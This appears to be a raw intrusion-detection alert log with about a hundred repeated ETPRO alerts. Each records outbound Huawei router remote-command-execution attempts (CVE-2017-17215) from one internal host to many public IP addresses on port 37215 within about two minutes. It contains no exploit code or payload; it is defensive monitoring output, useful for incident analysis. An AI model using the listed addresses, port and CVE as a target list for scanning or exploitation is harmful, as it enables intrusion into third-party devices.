ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 12.253.143.15

Timestamp:	2024-08-01T15:36:20.311697+0200
SID:	2835222
Source Port:	40576
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 187.194.221.221

Timestamp:	2024-08-01T15:36:44.212374+0200
SID:	2835222
Source Port:	36846
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.233.181.104

Timestamp:	2024-08-01T15:35:37.416244+0200
SID:	2835222
Source Port:	47736
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.250.22.123

Timestamp:	2024-08-01T15:35:43.431545+0200
SID:	2835222
Source Port:	55780
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 70.113.9.127

Timestamp:	2024-08-01T15:35:53.373823+0200
SID:	2835222
Source Port:	38816
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 182.183.50.204

Timestamp:	2024-08-01T15:36:14.808080+0200
SID:	2835222
Source Port:	49308
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 120.202.154.94

Timestamp:	2024-08-01T15:36:11.950839+0200
SID:	2835222
Source Port:	52134
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.97.47.246

Timestamp:	2024-08-01T15:35:35.120085+0200
SID:	2835222
Source Port:	47852
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.108.249.103

Timestamp:	2024-08-01T15:35:21.905938+0200
SID:	2835222
Source Port:	60084
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.63.190.45

Timestamp:	2024-08-01T15:35:21.905385+0200
SID:	2835222
Source Port:	52134
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.87.54.206

Timestamp:	2024-08-01T15:36:32.887711+0200
SID:	2835222
Source Port:	42682
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 114.104.48.82

Timestamp:	2024-08-01T15:35:32.868099+0200
SID:	2835222
Source Port:	36484
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.229.81.160

Timestamp:	2024-08-01T15:35:20.545267+0200
SID:	2835222
Source Port:	44648
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 49.78.211.196

Timestamp:	2024-08-01T15:36:53.779260+0200
SID:	2835222
Source Port:	43716
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 156.24.211.194

Timestamp:	2024-08-01T15:36:32.777871+0200
SID:	2835222
Source Port:	52044
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.120.98.240

Timestamp:	2024-08-01T15:36:09.857702+0200
SID:	2835222
Source Port:	34052
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 180.68.37.214

Timestamp:	2024-08-01T15:35:21.919754+0200
SID:	2835222
Source Port:	33336
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.36.117.202

Timestamp:	2024-08-01T15:36:39.124429+0200
SID:	2835222
Source Port:	59632
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.240.220.84

Timestamp:	2024-08-01T15:35:21.864834+0200
SID:	2835222
Source Port:	57654
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.92.2.94

Timestamp:	2024-08-01T15:36:14.805725+0200
SID:	2835222
Source Port:	50984
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 184.119.116.174

Timestamp:	2024-08-01T15:35:20.209353+0200
SID:	2835222
Source Port:	53284
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 192.45.79.181

Timestamp:	2024-08-01T15:36:16.290605+0200
SID:	2835222
Source Port:	40688
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.129.147.108

Timestamp:	2024-08-01T15:35:37.344059+0200
SID:	2835222
Source Port:	50434
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.25.138.196

Timestamp:	2024-08-01T15:35:21.933484+0200
SID:	2835222
Source Port:	51144
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.43.183.162

Timestamp:	2024-08-01T15:35:56.510838+0200
SID:	2835222
Source Port:	41184
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.12.11.110

Timestamp:	2024-08-01T15:36:15.306227+0200
SID:	2835222
Source Port:	54980
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.212.59.43

Timestamp:	2024-08-01T15:36:14.855058+0200
SID:	2835222
Source Port:	56106
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 159.97.190.21

Timestamp:	2024-08-01T15:35:16.773244+0200
SID:	2835222
Source Port:	38518
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 113.125.92.38

Timestamp:	2024-08-01T15:36:48.420365+0200
SID:	2835222
Source Port:	45984
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 205.168.36.92

Timestamp:	2024-08-01T15:36:51.580252+0200
SID:	2835222
Source Port:	33842
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 59.98.103.21

Timestamp:	2024-08-01T15:36:09.903541+0200
SID:	2835222
Source Port:	50856
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 152.30.162.104

Timestamp:	2024-08-01T15:36:28.570625+0200
SID:	2835222
Source Port:	39152
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.168.142.166

Timestamp:	2024-08-01T15:36:22.374503+0200
SID:	2835222
Source Port:	42656
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.21.242.107

Timestamp:	2024-08-01T15:35:20.206285+0200
SID:	2835222
Source Port:	53874
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 44.219.0.116

Timestamp:	2024-08-01T15:35:21.835326+0200
SID:	2835222
Source Port:	38070
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 113.77.151.196

Timestamp:	2024-08-01T15:35:16.809064+0200
SID:	2835222
Source Port:	35894
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.157.92.228

Timestamp:	2024-08-01T15:36:36.981406+0200
SID:	2835222
Source Port:	51868
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.83.77.181

Timestamp:	2024-08-01T15:36:46.325524+0200
SID:	2835222
Source Port:	45240
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.217.187.49

Timestamp:	2024-08-01T15:36:52.649398+0200
SID:	2835222
Source Port:	58452
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 13.191.210.26

Timestamp:	2024-08-01T15:35:17.014330+0200
SID:	2835222
Source Port:	49602
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 95.150.20.198

Timestamp:	2024-08-01T15:36:18.249465+0200
SID:	2835222
Source Port:	59976
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.52.248.164

Timestamp:	2024-08-01T15:35:21.905852+0200
SID:	2835222
Source Port:	41560
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.255.159.229

Timestamp:	2024-08-01T15:36:18.260422+0200
SID:	2835222
Source Port:	57078
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 78.217.164.135

Timestamp:	2024-08-01T15:35:53.373762+0200
SID:	2835222
Source Port:	60282
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.234.163.50

Timestamp:	2024-08-01T15:36:09.902857+0200
SID:	2835222
Source Port:	42276
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.78.39.108

Timestamp:	2024-08-01T15:35:16.760878+0200
SID:	2835222
Source Port:	48282
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.116.164.64

Timestamp:	2024-08-01T15:36:24.448999+0200
SID:	2835222
Source Port:	36614
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.235.114.191

Timestamp:	2024-08-01T15:35:28.718464+0200
SID:	2835222
Source Port:	57972
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 184.10.27.4

Timestamp:	2024-08-01T15:35:58.622518+0200
SID:	2835222
Source Port:	45246
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.50.167.162

Timestamp:	2024-08-01T15:36:22.370022+0200
SID:	2835222
Source Port:	44156
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.19.42.246

Timestamp:	2024-08-01T15:35:21.954972+0200
SID:	2835222
Source Port:	38392
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.218.33.223

Timestamp:	2024-08-01T15:36:34.858466+0200
SID:	2835222
Source Port:	60724
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 88.162.195.28

Timestamp:	2024-08-01T15:36:59.998406+0200
SID:	2835222
Source Port:	48816
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.83.117.101

Timestamp:	2024-08-01T15:36:39.432838+0200
SID:	2835222
Source Port:	56696
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.247.61.90

Timestamp:	2024-08-01T15:36:30.755645+0200
SID:	2835222
Source Port:	38212
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.121.57.225

Timestamp:	2024-08-01T15:35:20.575033+0200
SID:	2835222
Source Port:	43280
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 146.35.234.81

Timestamp:	2024-08-01T15:36:01.465169+0200
SID:	2835222
Source Port:	53746
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.103.193.138

Timestamp:	2024-08-01T15:35:16.901508+0200
SID:	2835222
Source Port:	56278
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.150.142.241

Timestamp:	2024-08-01T15:36:09.887206+0200
SID:	2835222
Source Port:	55674
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.127.161.143

Timestamp:	2024-08-01T15:35:20.545734+0200
SID:	2835222
Source Port:	44656
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.133.24.232

Timestamp:	2024-08-01T15:35:16.857844+0200
SID:	2835222
Source Port:	53200
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.164.159.32

Timestamp:	2024-08-01T15:35:28.717051+0200
SID:	2835222
Source Port:	60504
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.164.93.61

Timestamp:	2024-08-01T15:35:43.357689+0200
SID:	2835222
Source Port:	37604
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 31.233.128.73

Timestamp:	2024-08-01T15:36:39.033738+0200
SID:	2835222
Source Port:	58310
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.175.101.100

Timestamp:	2024-08-01T15:35:59.289697+0200
SID:	2835222
Source Port:	52546
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 120.47.208.174

Timestamp:	2024-08-01T15:36:57.530094+0200
SID:	2835222
Source Port:	37282
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.230.251.221

Timestamp:	2024-08-01T15:35:45.518104+0200
SID:	2835222
Source Port:	45860
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.125.204.133

Timestamp:	2024-08-01T15:35:50.270032+0200
SID:	2835222
Source Port:	41990
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.100.224.123

Timestamp:	2024-08-01T15:35:21.905811+0200
SID:	2835222
Source Port:	50164
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.19.219.96

Timestamp:	2024-08-01T15:35:20.207686+0200
SID:	2835222
Source Port:	47452
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.106.138.184

Timestamp:	2024-08-01T15:36:16.220546+0200
SID:	2835222
Source Port:	54152
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 187.160.51.75

Timestamp:	2024-08-01T15:35:20.206543+0200
SID:	2835222
Source Port:	36202
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.32.148.252

Timestamp:	2024-08-01T15:35:21.918300+0200
SID:	2835222
Source Port:	37484
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.161.212.164

Timestamp:	2024-08-01T15:36:44.213074+0200
SID:	2835222
Source Port:	57482
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.20.159.17

Timestamp:	2024-08-01T15:35:54.406965+0200
SID:	2835222
Source Port:	49764
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 181.55.33.223

Timestamp:	2024-08-01T15:36:22.458923+0200
SID:	2835222
Source Port:	57994
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.17.39.149

Timestamp:	2024-08-01T15:35:45.259278+0200
SID:	2835222
Source Port:	50258
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.133.171.213

Timestamp:	2024-08-01T15:36:30.755600+0200
SID:	2835222
Source Port:	56108
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.188.173.137

Timestamp:	2024-08-01T15:36:18.260504+0200
SID:	2835222
Source Port:	49014
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.113.68.40

Timestamp:	2024-08-01T15:35:21.862323+0200
SID:	2835222
Source Port:	34878
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 164.159.85.159

Timestamp:	2024-08-01T15:36:46.400277+0200
SID:	2835222
Source Port:	48346
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.202.89.150

Timestamp:	2024-08-01T15:36:49.714512+0200
SID:	2835222
Source Port:	51888
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 94.172.153.150

Timestamp:	2024-08-01T15:35:50.298389+0200
SID:	2835222
Source Port:	47090
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.138.55.28

Timestamp:	2024-08-01T15:35:54.420941+0200
SID:	2835222
Source Port:	40026
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 126.215.127.104

Timestamp:	2024-08-01T15:35:53.373000+0200
SID:	2835222
Source Port:	57880
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.118.161.155

Timestamp:	2024-08-01T15:35:16.938041+0200
SID:	2835222
Source Port:	53750
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 218.52.165.167

Timestamp:	2024-08-01T15:35:37.198792+0200
SID:	2835222
Source Port:	57312
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 76.196.177.134

Timestamp:	2024-08-01T15:36:26.858057+0200
SID:	2835222
Source Port:	40292
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 69.98.158.77

Timestamp:	2024-08-01T15:36:36.978342+0200
SID:	2835222
Source Port:	51194
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.60.145.99

Timestamp:	2024-08-01T15:35:16.729248+0200
SID:	2835222
Source Port:	56996
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.173.175.247

Timestamp:	2024-08-01T15:35:20.207342+0200
SID:	2835222
Source Port:	44562
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.190.3.77

Timestamp:	2024-08-01T15:35:16.859757+0200
SID:	2835222
Source Port:	57814
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.42.168.186

Timestamp:	2024-08-01T15:36:56.240965+0200
SID:	2835222
Source Port:	57510
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.53.30.186

Timestamp:	2024-08-01T15:35:20.545263+0200
SID:	2835222
Source Port:	58756
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.64.90.1

Timestamp:	2024-08-01T15:36:24.466309+0200
SID:	2835222
Source Port:	40526
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 182.99.100.112

Timestamp:	2024-08-01T15:35:54.403500+0200
SID:	2835222
Source Port:	49522
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.222.47.191

Timestamp:	2024-08-01T15:36:37.061832+0200
SID:	2835222
Source Port:	47292
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.196.70.246

Timestamp:	2024-08-01T15:35:20.214936+0200
SID:	2835222
Source Port:	36502
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.182.164.191

Timestamp:	2024-08-01T15:36:14.828245+0200
SID:	2835222
Source Port:	49528
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

